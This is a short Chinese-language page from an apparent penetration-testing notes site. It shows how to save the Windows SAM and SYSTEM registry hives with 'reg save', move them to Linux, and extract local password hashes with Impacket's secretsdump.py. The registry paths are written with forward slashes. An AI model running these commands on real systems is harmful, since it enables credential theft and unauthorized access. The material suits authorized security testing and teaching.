> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/active-directory/credentials/sam-extraction-from-registry-files.md).
# 使用注册表文件提取 SAM
针对使用注册表文件提取 SAM 的 Active Directory 安全笔记，涵盖枚举、Kerberos、凭据、ACL 滥用、横向移动、利用流程和验证步骤。
### 备份 SAM 和 SYSTEM 注册表蜂巢
在 Windows 上：
```bash
reg save hklm/sam sam.save
```
然后：
```bash
reg save hklm/system system.save
```
然后将这些文件传输到 Linux 机器上进行离线分析。
### 使用 Impacket 进行分析
在 Linux 上：
```bash
secretsdump.py -sam sam.save -system system.save LOCAL
```
此命令会从备份的注册表蜂巢中提取本地哈希。
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